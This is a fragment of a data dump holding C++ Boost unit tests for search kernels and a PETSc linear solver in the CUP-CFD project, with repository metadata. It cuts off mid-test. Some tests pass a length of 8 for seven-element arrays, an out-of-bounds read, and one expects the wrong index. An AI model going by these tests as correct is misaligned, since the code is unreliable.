cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 4);\n\n\tstatus = binarySearch(source, 8, 11, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 5);\n\n\tstatus = binarySearch(source, 8, 13, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 6);\n\n\tstatus = binarySearch(source, 8, 20, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 7);\n}\n\n// Test 5: Test element not present in array, even sized array\nBOOST_AUTO_TEST_CASE(binarySearch_test5)\n{\n\tint source[8] = {1, 4, 7, 8, 9, 11, 12, 13};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = binarySearch(source, 8, 1024, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SEARCH_NOT_FOUND);\n}\n\n// Test 6: Test element in first position, odd sized array\nBOOST_AUTO_TEST_CASE(binarySearch_test6)\n{\n\n\tint source[7] = {1, 4, 7, 8, 9, 11, 13};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = binarySearch(source, 7, 1, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 0);\n}\n\n// Test 7: Test element in last position, odd sized array\nBOOST_AUTO_TEST_CASE(binarySearch_test7)\n{\n\n\tint source[7] = {1, 4, 7, 8, 9, 11, 13};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = binarySearch(source, 7, 13, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 6);\n}\n\n// Test 8: Test element in middle position, odd sized array\nBOOST_AUTO_TEST_CASE(binarySearch_test8)\n{\n\n\tint source[7] = {1, 4, 7, 8, 9, 11, 13};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = binarySearch(source, 7, 9, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 4);\n}\n\n// Test 9: Test search for each element in array, odd sized array\nBOOST_AUTO_TEST_CASE(binarySearch_test9)\n{\n\tint source[7] = {1, 4, 7, 8, 9, 11, 13};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = binarySearch(source, 8, 1, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 0);\n\n\tstatus = binarySearch(source, 8, 4, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 1);\n\n\tstatus = binarySearch(source, 8, 7, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 2);\n\n\tstatus = binarySearch(source, 8, 8, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 3);\n\n\tstatus = binarySearch(source, 8, 9, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 4);\n\n\tstatus = binarySearch(source, 8, 11, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 5);\n\n\tstatus = binarySearch(source, 8, 13, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 6);\n}\n\n// Test 10: Test when element is not present\nBOOST_AUTO_TEST_CASE(binarySearch_test10)\n{\n\tint source[7] = {1, 4, 7, 8, 9, 11, 12};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = binarySearch(source, 8, 1024, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SEARCH_NOT_FOUND);\n}\n\n// ================== Linear Search ===========================\n// Test 1: Test element in first position, even sized array\nBOOST_AUTO_TEST_CASE(linearSearch_test1)\n{\n\n\tint source[8] = {1, 4, 7, 8, 9, 11, 13, 20};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = linearSearch(source, 8, 1, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 0);\n}\n\n// Test 2: Test element in last position, even sized array\nBOOST_AUTO_TEST_CASE(linearSearch_test2)\n{\n\n\tint source[8] = {1, 4, 7, 8, 9, 11, 13, 20};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = linearSearch(source, 8, 20, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 7);\n}\n\n// Test 3: Test element in middle position, even sized array\nBOOST_AUTO_TEST_CASE(linearSearch_test3)\n{\n\n\tint source[8] = {1, 4, 7, 8, 9, 11, 13, 20};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = linearSearch(source, 8, 9, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 5);\n}\n\n// Test 4: Test search for each element in array, even sized array\nBOOST_AUTO_TEST_CASE(linearSearch_test4)\n{\n\tint source[8] = {1, 4, 7, 8, 9, 11, 13, 20};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = linearSearch(source, 8, 1, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 0);\n\n\tstatus = linearSearch(source, 8, 4, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 1);\n\n\tstatus = linearSearch(source, 8, 7, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 2);\n\n\tstatus = linearSearch(source, 8, 8, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 3);\n\n\tstatus = linearSearch(source, 8, 9, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 4);\n\n\tstatus = linearSearch(source, 8, 11, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 5);\n\n\tstatus = linearSearch(source, 8, 13, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 6);\n\n\tstatus = linearSearch(source, 8, 20, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 7);\n}\n\n// Test 5: Test when element not present, even sized array\nBOOST_AUTO_TEST_CASE(linearSearch_test5)\n{\n\tint source[8] = {1, 4, 7, 8, 9, 11, 12, 13};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = linearSearch(source, 8, 1024, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SEARCH_NOT_FOUND);\n}\n\n// Test 6: Test element in first position, odd sized array\nBOOST_AUTO_TEST_CASE(linearSearch_test6)\n{\n\n\tint source[7] = {1, 4, 7, 8, 9, 11, 13};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = linearSearch(source, 7, 1, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 0);\n}\n\n// Test 7: Test element in last position, odd sized array\nBOOST_AUTO_TEST_CASE(linearSearch_test7)\n{\n\n\tint source[7] = {1, 4, 7, 8, 9, 11, 13};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = linearSearch(source, 7, 13, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 6);\n}\n\n// Test 8: Test element in middle position, odd sized array\nBOOST_AUTO_TEST_CASE(linearSearch_test8)\n{\n\n\tint source[7] = {1, 4, 7, 8, 9, 11, 13};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = linearSearch(source, 7, 9, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 4);\n}\n\n// Test 9: Test search for each element in array, odd sized array\nBOOST_AUTO_TEST_CASE(linearSearch_test9)\n{\n\tint source[7] = {1, 4, 7, 8, 9, 11, 13};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = linearSearch(source, 8, 1, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 0);\n\n\tstatus = linearSearch(source, 8, 4, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 1);\n\n\tstatus = linearSearch(source, 8, 7, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 2);\n\n\tstatus = linearSearch(source, 8, 8, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 3);\n\n\tstatus = linearSearch(source, 8, 9, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 4);\n\n\tstatus = linearSearch(source, 8, 11, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 5);\n\n\tstatus = linearSearch(source, 8, 13, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 6);\n}\n\n// Test 10: Test element not present, odd sized array\nBOOST_AUTO_TEST_CASE(linearSearch_test10)\n{\n\tint source[7] = {1, 4, 7, 8, 9, 11, 12};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = linearSearch(source, 8, 1024, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SEARCH_NOT_FOUND);\n}\n", "meta": {"hexsha": "cde1e8ef9f755a8f9cf98d2822c84be270419e6c", "size": 10378, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "tests/utility/implementation/component/SearchKernelTests.cpp", "max_stars_repo_name": "thorbenlouw/CUP-CFD", "max_stars_repo_head_hexsha": "d06f7673a1ed12bef24de4f1b828ef864fa45958", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3.0, "max_stars_repo_stars_event_min_datetime": "2021-06-24T10:20:12.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-18T14:43:19.000Z", "max_issues_repo_path": "tests/utility/implementation/component/SearchKernelTests.cpp", "max_issues_repo_name": "thorbenlouw/CUP-CFD", "max_issues_repo_head_hexsha": "d06f7673a1ed12bef24de4f1b828ef864fa45958", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2021-07-22T15:31:03.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-28T14:27:28.000Z", "max_forks_repo_path": "tests/utility/implementation/component/SearchKernelTests.cpp", "max_forks_repo_name": "thorbenlouw/CUP-CFD", "max_forks_repo_head_hexsha": "d06f7673a1ed12bef24de4f1b828ef864fa45958", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2021-07-22T15:24:24.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-22T15:24:24.000Z", "avg_line_length": 27.6010638298, "max_line_length": 77, "alphanum_fraction": 0.7163229909, "num_tokens": 3176, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.2094696714602651, "lm_q1q2_score": 0.10309848708607541}}
{"text": "/*\n * @file\n * @author University of Warwick\n * @version 1.0\n *\n * @section LICENSE\n *\n * @section DESCRIPTION\n *\n * Unit Tests for the LinearSolverPETSc class\n */\n\n#define BOOST_TEST_MODULE LinearSolverPETSc\n#include <boost/test/unit_test.hpp>\n#include <boost/test/output_test_stream.hpp>\n#include <stdexcept>\n\n#include \"Communicator.h\"\n#include \"LinearSolverPETSc.h\"\n#include \"Error.h\"\n#include \"SparseMatrixCOO.h\"\n\n// ========================================\n// ============== Tests ===================\n// ========================================\n\nnamespace utf = boost::unit_test;\nusing namespace cupcfd::linearsolvers;\n\n// Setup\nBOOST_AUTO_TEST_CASE(setup)\n{\n    int argc = boost::unit_test::framework::master_test_suite().argc;\n    char ** argv = boost::unit_test::framework::master_test_suite().argv;\n\n    MPI_Init(&argc, &argv);\n\tPetscInitialize(&argc, &argv, NULL, NULL);\n}\n\n// === Constructors ===\n// Test 1: Create a Serial PETSc Linear Solver\nBOOST_AUTO_TEST_CASE(constructor_test1)\n{\n\t// This default to MPI_COMM_SELF\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tcupcfd::error::eCodes status;\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Workaround - seems OK to compare these in C++,\n\t// but BOOST doesn't like making the comparison\n\tif(solver.a == PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\t// Workaround - seems OK to compare these in C++,\n\t// but BOOST doesn't like making the comparison\n\tif(solver.x == PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\t// Workaround - seems OK to compare these in C++,\n\t// but BOOST doesn't like making the comparison\n\tif(solver.b == PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\tBOOST_CHECK_EQUAL(solver.mGlobal, 8);\n\tBOOST_CHECK_EQUAL(solver.nGlobal, 8);\n\n\t//BOOST_CHECK_EQUAL(solver.xRanges, static_cast<decltype(solver.xRanges)>(nullptr));\n\t//BOOST_CHECK_EQUAL(solver.bRanges, static_cast<decltype(solver.bRanges)>(nullptr));\n\t//BOOST_CHECK_EQUAL(solver.aRanges, static_cast<decltype(solver.aRanges)>(nullptr));\n}\n\n// Test 2: Create a Parallel PETSc Linear Solver\nBOOST_AUTO_TEST_CASE(constructor_test2)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\tcupcfd::error::eCodes status;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Workaround - seems OK to compare these in C++,\n\t// but BOOST doesn't like making the comparison\n\tif(solver.a == PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\t// Workaround - seems OK to compare these in C++,\n\t// but BOOST doesn't like making the comparison\n\tif(solver.x == PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\t// Workaround - seems OK to compare these in C++,\n\t// but BOOST doesn't like making the comparison\n\tif(solver.b == PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\tBOOST_CHECK_EQUAL(solver.mGlobal, 8);\n\tBOOST_CHECK_EQUAL(solver.nGlobal, 8);\n\n\t//BOOST_CHECK_EQUAL(solver.xRanges, static_cast<decltype(solver.xRanges)>(nullptr));\n\t//BOOST_CHECK_EQUAL(solver.bRanges, static_cast<decltype(solver.bRanges)>(nullptr));\n\t//BOOST_CHECK_EQUAL(solver.aRanges, static_cast<decltype(solver.aRanges)>(nullptr));\n}\n\n// ============== resetVectorX ===================\n// Test 1: Test the successful reset of a existing vector\nBOOST_AUTO_TEST_CASE(resetVectorX_test1)\n{\n\tcupcfd::error::eCodes status;\n\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t//Setup\n\n\t// Create the vector\n\tstatus = solver.setupVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and Check\n\tsolver.resetVectorX();\n\n\tif(solver.x != PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\tBOOST_CHECK_EQUAL(solver.xRanges, static_cast<decltype(solver.xRanges)>(nullptr));\n}\n\n// ============== resetVectorB ===================\n// Test 1: Test the successful reset of a existing vector\nBOOST_AUTO_TEST_CASE(resetVectorB_test1)\n{\n\tcupcfd::error::eCodes status;\n\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t//Setup\n\n\t// Create the vector\n\tstatus = solver.setupVectorB();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and Check\n\tsolver.resetVectorB();\n\n\tif(solver.b != PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\tBOOST_CHECK_EQUAL(solver.bRanges, static_cast<decltype(solver.bRanges)>(nullptr));\n}\n\n// ============== resetMatrixA ===================\n// Test 1: Test the reset of an existing matrix\nBOOST_AUTO_TEST_CASE(resetMatrixA_test1)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// === Setup ===\n\n\t// Test and Check\n\tstatus = solver.setup(matrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tsolver.resetMatrixA();\n}\n\n// ============== setupVectorX ===================\n// Test 1: Check Vector is created if a suitable row size is set - serial\nBOOST_AUTO_TEST_CASE(setupVectorX_test1)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Reset vector prior to setup\n\tsolver.resetVectorX();\n\n\t// Test and Check\n\tstatus = solver.setupVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Workaround - seems OK to compare these in C++,\n\t// but BOOST doesn't like making the comparison\n\tif(solver.x == PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\tPetscInt cmp[2] = {0, 8};\n\tBOOST_CHECK_EQUAL_COLLECTIONS(cmp, cmp + 2, solver.xRanges, solver.xRanges + 2);\n}\n\n// Test 2: Check Vector is created if a suitable row size is set - parallel\nBOOST_AUTO_TEST_CASE(setupVectorX_test2)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Reset vector prior to setup\n\tsolver.resetVectorX();\n\n\t// Test and Check\n\tstatus = solver.setupVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Workaround - seems OK to compare these in C++,\n\t// but BOOST doesn't like making the comparison\n\tif(solver.x == PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\t// Is this always guaranteed? Assuming for now...\n\tPetscInt cmp[5] = {0, 2, 4, 6, 8};\n\tBOOST_CHECK_EQUAL_COLLECTIONS(cmp, cmp + 5, solver.xRanges, solver.xRanges + 5);\n\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n}\n\n// ============== setupVectorB ===================\n// Test 1: Check Vector is created if a suitable row size is set - serial\nBOOST_AUTO_TEST_CASE(setupVectorB_test1)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Reset vector prior to setup\n\tsolver.resetVectorB();\n\n\t// Test and Check\n\tstatus = solver.setupVectorB();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Workaround - seems OK to compare these in C++,\n\t// but BOOST doesn't like making the comparison\n\tif(solver.b == PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\tPetscInt cmp[2] = {0, 8};\n\tBOOST_CHECK_EQUAL_COLLECTIONS(cmp, cmp + 2, solver.bRanges, solver.bRanges + 2);\n\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n}\n\n// Test 2: Check Vector is created if a suitable row size is set - parallel\nBOOST_AUTO_TEST_CASE(setupVectorB_test2)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(20, 20, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 